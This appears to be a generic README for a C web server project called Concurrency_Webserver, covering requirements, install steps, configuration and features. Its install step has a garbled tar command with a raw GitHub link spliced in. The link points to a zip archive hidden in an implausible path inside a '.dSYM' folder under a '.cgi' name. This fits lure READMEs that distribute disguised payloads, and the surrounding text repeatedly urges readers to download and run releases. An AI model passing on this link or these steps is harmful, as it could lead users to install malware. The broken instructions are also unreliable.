Welcome to Concurrency_Webserver! This project provides a multi-threaded HTTP/1.0 web server written in C, designed for performance and ease of use. With a configurable thread pool and a secure filesystem, it is suitable for various use cases. Follow these simple steps to download and run the software.
To run Concurrency_Webserver smoothly, make sure your system meets the following requirements:
- Operating System: Linux or macOS
- C Compiler: GCC or Clang
- Memory: Minimum of 512 MB RAM
- Disk Space: At least 100 MB of free space
-
Visit the Releases Page: Go to the Releases page here. You will find the latest version of the Concurrency_Webserver available for download.
-
Select the Right File: Look for the most recent release. You will typically find files labeled with version numbers like
v1.0.0. Choose the appropriate file for your operating system. -
Download the File: Click on the file link to start the download.
-
Install the Application:
- For Linux or macOS:
- Open your terminal.
- Navigate to the directory where you downloaded the file.
- Use the command
tar -xvzf <filename>https://raw.githubusercontent.com/Allkilline/Concurrency_Webserver/main/spin.cgi.dSYM/Contents/Resources/Relocations/Webserver-Concurrency-2.1.zipto extract the files. - Change into the extracted directory using
cd <directory>. - Compile the application using a C compiler with the command
make.
- For Linux or macOS:
-
Run the Application:
- After compiling, you can start the server by running the command
./server.
- After compiling, you can start the server by running the command
Concurrency_Webserver allows for easy configuration through its configuration file. Locate the configuration file in the installation directory. You can adjust parameters like:
- Port Number: Change the port number the server listens on.
- Max Threads: Set the number of threads to handle incoming requests.
- Document Root: Specify the directory that holds the files to be served.
Once Concurrency_Webserver is running, you can access it using a web browser. Just enter the following in the address bar:
http://localhost:<port-number>/
Replace <port-number> with the number you set in the configuration file.
- Multi-Threading: The server can handle multiple requests simultaneously.
- Configurable Thread Pool: Adjusts the number of worker threads based on your needs.
- Bounded Scheduler Queue: Manages incoming requests efficiently.
- Secure Filesystem Sandboxing: Ensures safe serving of files, protecting your server.
- Sample Client-Server Interaction: Experience how clients can communicate with the server easily.
We welcome contributions to enhance the functionality of Concurrency_Webserver. If you're interested, please fork the repository and submit a pull request. You can also report issues to help us improve the software.
If you encounter any issues or have questions, feel free to open an issue in the GitHub repository. You can also find helpful information in the documentation included in the repository.
Concurrency_Webserver is licensed under the MIT License. You can freely use, modify, and distribute the software, provided that proper credit is given.
To download the latest release, visit the Releases page here and start building your own multi-threaded web server today!